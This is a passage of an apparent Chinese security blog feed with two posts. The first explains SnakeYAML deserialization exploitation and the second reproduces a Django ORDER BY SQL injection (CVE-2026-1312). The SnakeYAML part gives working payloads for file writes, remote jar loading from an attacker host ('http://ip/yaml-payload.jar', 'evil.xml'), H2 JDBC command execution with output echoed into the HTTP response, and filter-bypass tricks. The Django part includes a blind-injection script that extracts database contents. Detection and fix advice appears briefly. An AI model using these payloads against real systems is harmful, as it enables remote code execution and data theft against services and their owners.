  &quot;@type&quot;: &quot;java.lang.AutoCloseable&quot;,
  &quot;@type&quot;: &quot;sun.rmi.server.MarshalOutputStream&quot;,
  &quot;out&quot;: {
    &quot;@type&quot;: &quot;java.util.zip.InflaterOutputStream&quot;,
    &quot;out&quot;: {
      &quot;@type&quot;: &quot;java.io.FileOutputStream&quot;,
      &quot;file&quot;: &quot;dst&quot;,
      &quot;append&quot;: &quot;false&quot;
    },
    &quot;infl&quot;: {
      &quot;input&quot;: &quot;eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==&quot;
    },
    &quot;bufLen&quot;: 1048576
  },
  &quot;protocolVersion&quot;: 1
}


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟fj一样都是调用setter，所以这里的poc直接拿来用&lt;/p&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\&quot;./yaml-payload.jar\&quot;],false],!!java.util.zip.Inflater  { input: !!binary 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 },1048576]]&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网上抄的脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.zlg.serialize.snakeyaml;

import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
    public static void main(String [] args) throws Exception {
        String poc = createPoC(&quot;本的的恶意文件&quot;,&quot;想写进去的路径&quot;);
        Yaml yaml = new Yaml();
        yaml.load(poc);

    }


    public static String createPoC(String SrcPath,String Destpath) throws Exception {
        File file = new File(SrcPath);
        Long FileLength = file.length();
        byte[] FileContent = new byte[FileLength.intValue()];
        try{
            FileInputStream in = new FileInputStream(file);
            in.read(FileContent);
            in.close();
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }
        byte[] compressbytes = compress(FileContent);
        String base64str = Base64.getEncoder().encodeToString(compressbytes);
        String poc = &quot;!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\&quot;&quot;+Destpath+&quot;\&quot;],false],!!java.util.zip.Inflater  { input: !!binary &quot;+base64str+&quot; },1048576]]&quot;;
        System.out.println(poc);
        return poc;
    }

    public static byte[] compress(byte[] data) {
        byte[] output = new byte[0];

        Deflater compresser = new Deflater();

        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        return output;
    }
}


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配合打SPI&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!javax.script.ScriptEngineManager [\n&quot; +
                &quot;  !!java.net.URLClassLoader [[\n&quot; +
                &quot;    !!java.net.URL [\&quot;file:./yaml-payload.jar\&quot;]\n&quot; +  // win用file:来替代file://
                &quot;  ]]\n&quot; +
                &quot;]&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812180145186.png&quot; alt=&quot;image-20250812180145186&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;h2不出网&lt;/h3&gt;
&lt;p&gt;经典利用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!org.h2.jdbc.JdbcConnection [ \&quot;jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\\\&quot;calc.exe\\\&quot;)\\\\; }$$\\\\;CALL EXEC ()\\\\;\&quot;, {}, \&quot;a\&quot;, \&quot;b\&quot;, false ]&quot;;
String exp2 =&quot;!!org.h2.jdbc.JdbcConnection\n&quot; +
                &quot;- jdbc:h2:mem:test\n&quot; +
                &quot;- MODE: MSSQLServer\n&quot; +
                &quot;  INIT: |\n&quot; +
                &quot;    drop alias if exists exec;\n&quot; +
                &quot;    CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);}$$;\n&quot; +
                &quot;    CALL EXEC ();\n&quot; +
                &quot;- a\n&quot; +
                &quot;- b\n&quot; +
                &quot;- false&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp用两个转义符是为了转义分号以达到init执行多个sql语句。&lt;/p&gt;
&lt;p&gt;至于其原理，参考p神的文章https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html&lt;/p&gt;
&lt;p&gt;鉴于fj的h2利用链&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
    {
        &quot;@type&quot;: &quot;java.lang.Class&quot;,
        &quot;val&quot;: &quot;org.h2.jdbcx.JdbcDataSource&quot;
    },
    {
        &quot;@type&quot;: &quot;org.h2.jdbcx.JdbcDataSource&quot;,
        &quot;url&quot;: &quot;jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS &apos;void exec() throws java.io.IOException { Runtime.getRuntime().exec(\&quot;open -a calculator.app\&quot;)\\; }&apos;\\;CALL EXEC ()\\;&quot;
    },
    {
        &quot;$ref&quot;: &quot;$[1].connection&quot;
    }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单说一下，就是实例化org.h2.jdbcx.JdbcDataSource之后调用setUrl然后通过$ref[1]调用实例化的JdbcDataSource的getConnection方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250813085930188.png&quot; alt=&quot;image-20250813085930188&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而我们注意到实际上getConnection就是调用了org.h2.jdbc.JdbcConnection的构造方法，这也是为什么poc长那样。&lt;/p&gt;
&lt;p&gt;其签名：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;jdbc 完整url&lt;/li&gt;
&lt;li&gt;参数列表，对应到YAML里面就是一个字典&lt;/li&gt;
&lt;li&gt;账号&lt;/li&gt;
&lt;li&gt;密码&lt;/li&gt;
&lt;li&gt;这个参数决定在目标服务器上，是否会当只有一个已经存在的h2数据库文件进行连接才能执行后续JDBC注入操作，fasle的话内存数据库&lt;code&gt;jdbc:h2:mem&lt;/code&gt;无法使用。所以我们这里设置为true&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;h2不出网无回显&lt;/h3&gt;
&lt;p&gt;需要有springframework依赖&lt;/p&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
  INIT: |
    DROP ALIAS IF EXISTS EXEC;
    CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec(&quot;whoami.exe&quot;).getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;
    CALL EXEC ();
- a
- b
- false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里先附上一张spring关于线程绑定上下文的原理图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250813114002367.png&quot; alt=&quot;image-20250813114002367&quot; /&gt;&lt;/p&gt;
&lt;p&gt;H2的ALIAS代码在&lt;strong&gt;同一个HTTP请求线程&lt;/strong&gt;中执行，所以可以用StreamUtils.copy将命令执行结果从子进程复制到返回包，可以这么理解：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 执行命令，获取子进程
Process process = Runtime.getRuntime().exec(&quot;whoami.exe&quot;);

// 2. 获取命令输出流（相对于Java是输入流）
InputStream cmdOutput = process.getInputStream();

// 3. 获取Spring请求上下文（接口类型）
RequestAttributes attrs = RequestContextHolder.currentRequestAttributes();

// 4. 强转为Servlet实现，调用getResponse()
HttpServletResponse response = ((ServletRequestAttributes) attrs).getResponse();

// 5. 获取HTTP响应输出流
OutputStream httpOutput = response.getOutputStream();

// 6. 将命令结果复制到HTTP响应
StreamUtils.copy(cmdOutput, httpOutput);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250813093541805.png&quot; alt=&quot;image-20250813093541805&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ClassPathXmlApplicationContext&lt;/h3&gt;
&lt;h4&gt;出网利用&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;!!org.springframework.context.support.ClassPathXmlApplicationContext [ &quot;http://ip/evil.xml&quot; ]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- evil.xml --&amp;gt;
&amp;lt;beans xmlns=&quot;http://www.springframework.org/schema/beans&quot;
       xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
       xsi:schemaLocation=&quot;http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd&quot;&amp;gt;
       
    &amp;lt;!-- 获取Runtime实例 --&amp;gt;
    &amp;lt;bean id=&quot;runtime&quot; class=&quot;java.lang.Runtime&quot; factory-method=&quot;getRuntime&quot;/&amp;gt;
    
    &amp;lt;!-- 执行命令 --&amp;gt;
    &amp;lt;bean id=&quot;exec&quot; factory-bean=&quot;runtime&quot; factory-method=&quot;exec&quot;&amp;gt;
        &amp;lt;constructor-arg value=&quot;calc.exe&quot;/&amp;gt;
    &amp;lt;/bean&amp;gt;
&amp;lt;/beans&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更复杂的可以去用javaChain生成，这里就不演示了。&lt;/p&gt;
&lt;h4&gt;不出网 方法一&lt;/h4&gt;
&lt;p&gt;利用前面提到的MershalOutputStream写文件在用file协议去读，这里就不赘述了。&lt;/p&gt;
&lt;h4&gt;不出网 方法二&lt;/h4&gt;
&lt;h2&gt;bypass技巧&lt;/h2&gt;
&lt;p&gt;回到snakeYAML解析节点树的知识点，结合浅蓝师傅的文章：https://b1ue.cn/archives/407.html&lt;/p&gt;
&lt;p&gt;若是ban掉!!有两种绕过方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1
!&amp;lt;tag:yaml.org,2002:javax.script.ScriptEngineManager&amp;gt; 
[!&amp;lt;tag:yaml.org,2002:java.net.URLClassLoader&amp;gt; [[!&amp;lt;tag:yaml.org,2002:java.net.URL&amp;gt; 
[&quot;http://ip/yaml-payload.jar&quot;]]]]

// 2 利用%TAG来申明一个TAG, 后续再调用!str的话就会自动把TAG前缀拼接补全
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [&quot;http://ip/yaml-payload.jar&quot;]]]]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;探测与修复&lt;/h2&gt;
&lt;h3&gt;spi&lt;/h3&gt;
&lt;p&gt;参考Y4tacker师傅的文章，&lt;/p&gt;
&lt;p&gt;原理是snakeYAML解析带键值对的集合的时候会对键调用hashCode方法，进而触发dns解析。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String payload = &quot;{!!java.net.URL [\&quot;dnslog\&quot;]: 1}&quot;;

String poc = &quot;key: [!!java.lang.String {}: 0, !!java.net.URL [null, \&quot;[dnslog](dnslog)\&quot;]: 1]&quot;;

key: [!!java.lang.String {}: 0, !!java.net.URL [null, &quot;dnslog&quot;]: 1]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;修复&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;升级到snakeYAML2&lt;/li&gt;
&lt;li&gt;手动调用SafeConstructor()&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;yaml = new Yaml(new SafeConstructor());

yaml.load(exp)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;参考&lt;/h3&gt;
&lt;p&gt;https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html&lt;/p&gt;
&lt;p&gt;https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML&lt;/p&gt;
&lt;p&gt;https://h3rmesk1t.github.io/2023/09/25/SnakeYaml/#%E6%A3%80%E6%B5%8B&lt;/p&gt;
</content:encoded><author>void2eye</author></item><item><title>CVE-2026-1312 Django 漏洞复现</title><link>https://void2eye.top/posts/cve-2026-1312-django%E5%A4%8D%E7%8E%B0</link><guid isPermaLink="true">https://void2eye.top/posts/cve-2026-1312-django%E5%A4%8D%E7%8E%B0</guid><description>Django CVE-2026-1312 sql注入漏洞</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;环境搭建&lt;/h1&gt;
&lt;p&gt;该漏洞是在6.0.2修复的，所以用6.0.1版本的Django&lt;/p&gt;
&lt;p&gt;先uv起个环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv init &quot;CVE-2026-1312 Django&quot;
cd CVE-2026-1312 Django
uv python install 3.11
uv add &quot;django==6.0.1&quot;
uv run django-admin startproject vuln_site .
uv run python manage.py startapp vuln_app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在vuln_site/settings.py里加上vuln_app&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSTALLED_APPS = [
    &apos;django.contrib.admin&apos;,
    &apos;django.contrib.auth&apos;,
    &apos;django.contrib.contenttypes&apos;,
    &apos;django.contrib.sessions&apos;,
    &apos;django.contrib.messages&apos;,
    &apos;django.contrib.staticfiles&apos;,
    &apos;vuln_app&apos;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;model.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from django.db import models

# Create your models here.
class Authors(models.Model):
    name = models.CharField(max_length=100)
    
    class Meta:
       app_label = &apos;vuln_app&apos;

    def __str__(self):
        return self.name
    
class Books(models.Model):
    title = models.CharField(max_length=200)
    author = models.ForeignKey(Authors, on_delete=models.CASCADE)
    
    class Meta:
       app_label = &apos;vuln_app&apos;

    def __str__(self):
        return self.title
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv run python manage.py makemigrations vuln_app
uv run python manage.py migrate
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;漏洞原理&lt;/h1&gt;
&lt;p&gt;先看commit&lt;/p&gt;
&lt;p&gt;两处补丁：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326170950935.png&quot; alt=&quot;image-20260326170950935&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326171015347.png&quot; alt=&quot;image-20260326171015347&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326165733838.png&quot; alt=&quot;image-20260326165733838&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结合描述，可知增加对FilteredRelation中是否含&lt;code&gt;.&lt;/code&gt;进行了判断，以及修复了如果order by后的字段名有&lt;code&gt;.&lt;/code&gt;则回直接拼接到原始sql中的设计漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326165911151.png&quot; alt=&quot;image-20260326165911151&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在debug之前，需要几个前置知识&lt;/p&gt;
&lt;h2&gt;django的联表查询&lt;/h2&gt;
&lt;p&gt;前提：有一个简单的数据库，确保其中一个字段为外键(如下：author_id)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326172308263.png&quot; alt=&quot;image-20260326172308263&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在django的ORM中，想要进行一个常规的联表的 JOIN 查询：”查出所有书名和作者“，比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT vuln_app_book.title, vuln_app_author.name 
FROM vuln_app_book 
INNER JOIN vuln_app_author aaa ON vuln_app_book.author_id = aaa.id order by aaa.id
# 设置vuln_app_author别名为aaa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么有两种写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1
Book.objects.annotate(
    aaa=F(&apos;author&apos;)
).order_by(&apos;aaa&apos;)

# 2
Book.objects.annotate(
    aaa=FilteredRelation(&apos;author&apos;)
    # aaa=FilteredRelation(&apos;author&apos;, condition=Q(author__name=&apos;Alice&apos;))
).order_by(&apos;aaa&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而&lt;code&gt;F()&lt;/code&gt;和&lt;code&gt;FilteredRelation()&lt;/code&gt;区别就在于后者能够加多个条件，能一次在语句中关联多张表，前者不能。&lt;/p&gt;
&lt;h2&gt;django sql语句order by优化&lt;/h2&gt;
&lt;p&gt;正常一个order by语句：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select aaa bbb from ccc order by bbb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有一个等价写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select aaa bbb from ccc order by 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而在F()语句中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Book.objects.annotate(aaa=F(&apos;author&apos;)).order_by(&apos;aaa&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Django 在编译 SQL 时会发现：&lt;code&gt;aaa&lt;/code&gt; 只是 &lt;code&gt;author&lt;/code&gt; 的一个别名，而 &lt;code&gt;author&lt;/code&gt; 已经在 select列表里了。于是 Django 做了一个&lt;strong&gt;优化&lt;/strong&gt;：不在 order by里写字段名，而是直接写这个字段在 select列表里的位置编号。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select id, title as aaa, author_id from vuln_app_book order by author ASC

变成

select id, title as aaa, author_id from vuln_app_book order by 2 ASC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么要做这个优化？因为 &lt;code&gt;order by 2&lt;/code&gt; 比 &lt;code&gt;order by &quot;aaa&quot;&lt;/code&gt; 更高效，数据库不需要再去解析字段名。&lt;/p&gt;
&lt;p&gt;而FilteredRelation()则不会进行这个优化，因为设计的操作更加复杂。而这也是为什么漏洞补丁在这个函数上。&lt;/p&gt;
&lt;h2&gt;让order by字段只出现一次&lt;/h2&gt;
&lt;p&gt;因为有关键字被ban&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r&quot;[&apos;`\&quot;\]\[;\s]|#|--|/\*|\*/&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有&lt;code&gt;.&lt;/code&gt; &lt;code&gt;,&lt;/code&gt; &lt;code&gt;()&lt;/code&gt;可以用&lt;/p&gt;
&lt;p&gt;而上面的语句可以看到别名出现了很多次，直接硬注回报错，有没有什么办法把aaa只出现在order by呢？还真有：&lt;/p&gt;
&lt;p&gt;这就回到上面第二个补丁，对compiler.py的修复。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if &quot;.&quot; in field:
    # This came in through an extra(order_by=...) addition. Pass it
    # on verbatim.
    table, col = col.split(&quot;.&quot;, 1)
    yield OrderBy(
        RawSQL(&quot;%s.%s&quot; % (self.quote_name_unless_alias(table), col), []),
        descending=descending,
    )
    continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码的本意是处理 &lt;code&gt;extra(order_by=...)&lt;/code&gt; 传入的原始 SQL 字段名（比如 &lt;code&gt;&quot;my_table&quot;.&quot;my_col&quot;&lt;/code&gt;）。Django 的判断逻辑是：如果字段名里有句号，就认为它是 &lt;code&gt;extra()&lt;/code&gt; 传来的原始表名.列名，直接拼到 SQL&lt;/p&gt;
&lt;p&gt;手动构造 aaa.evil&lt;/p&gt;
&lt;p&gt;而且因为走了这个 &lt;code&gt;if &quot;.&quot; in field&lt;/code&gt; 分支，就 &lt;code&gt;continue&lt;/code&gt; 跳过了后面的代码。后面的代码是分析字段名、建立别名引用计数的。跳过了这段，意味着别名 &lt;code&gt;aaa.hi&lt;/code&gt; 的引用计数为 0。&lt;/p&gt;
&lt;p&gt;而Django 会检查每个别名的引用计数，&lt;strong&gt;计数为 0 就不生成 JOIN&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326180005777.png&quot; alt=&quot;image-20260326180005777&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;crafted_alias = &apos;vuln_app_books.id&apos;
    malicious_dict = {crafted_alias: FilteredRelation(&apos;author&apos;)}
    try:
        qs = Books.objects.annotate(**malicious_dict).order_by(crafted_alias)
        results = list(qs.values_list(&apos;title&apos;, flat=True))
        print(f&quot;    结果: {results}&quot;)
        print(&quot;[!] 注入成功 - JOIN 消失了，ORDER BY 直接用了原始的 表名.列名&quot;)
    except Exception as e:
        print(f&quot;    异常: {type(e).__name__}: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326180246595.png&quot; alt=&quot;image-20260326180246595&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;利用流程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;FilteredRelation(&apos;author&apos;) + order_by(&apos;aaa&apos;)
 → Django 需要解析 aaa 指向哪张表
 → 别名字符串以原始形式进入 _order_by_pairs()
 → 碰到 if &quot;.&quot; in field → 走 RawSQL 拼接
 → 注入成功
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;盲注成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def poc_extract_schema():
    from django.db import connection
    print(&quot;\n[*] 盲注提取 sqlite_master 第一个表名&quot;)
    with connection.cursor() as cur:
        cur.execute(&quot;SELECT tbl_name FROM sqlite_master WHERE type=&apos;table&apos; LIMIT 1&quot;)
        real_name = cur.fetchone()[0]
    print(f&quot;    真实值（参照）: {real_name}&quot;)
    extracted = &quot;&quot;
    for pos in range(1, len(real_name) + 2):
        # 二分猜这一位的 ASCII
        lo, hi = 32, 127
        while lo &amp;lt; hi:
            mid = (lo + hi) // 2
            # 问：第 pos 位 ASCII &amp;gt; mid ?
            alias = (
                f&quot;vuln_app_books.id*&quot;
                f&quot;(1-2*(SELECT(UNICODE(SUBSTR(tbl_name,{pos},1))&amp;gt;{mid})&quot;
                f&quot;FROM(sqlite_master)WHERE(type=char(116,97,98,108,101))LIMIT(1)))&quot;
            )
            try:
                qs = Books.objects.annotate(
                    **{alias: FilteredRelation(&apos;author&apos;)}
                ).order_by(alias)
                result = list(qs.values_list(&apos;title&apos;, flat=True))
                normal = [&apos;Book 1&apos;, &apos;Book 2&apos;, &apos;Book 3&apos;]
                # 倒序 → ASCII &amp;gt; mid → lo = mid+1
                # 正序 → ASCII &amp;lt;= mid → hi = mid
                if result == list(reversed(normal)):
                    lo = mid + 1
                else:
                    hi = mid
            except Exception:
                break

        if lo &amp;lt;= 32 or lo &amp;gt; 127:
            break
        extracted += chr(lo)
        print(f&quot;    位置 {pos}: ASCII={lo} → &apos;{chr(lo)}&apos;  当前: {extracted}&quot;)

    print(f&quot;\n    [!] 提取结果: {extracted}&quot;)
    print(f&quot;    [!] 真实值:   {real_name}&quot;)
    print(f&quot;    [!] {&apos;匹配！盲注提取成功&apos; if extracted == real_name else &apos;不匹配，检查逻辑&apos;}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260326184139006.png&quot; alt=&quot;image-20260326184139006&quot; /&gt;&lt;/p&gt;
</content:encoded><author>void2eye</author></item></channel></rss>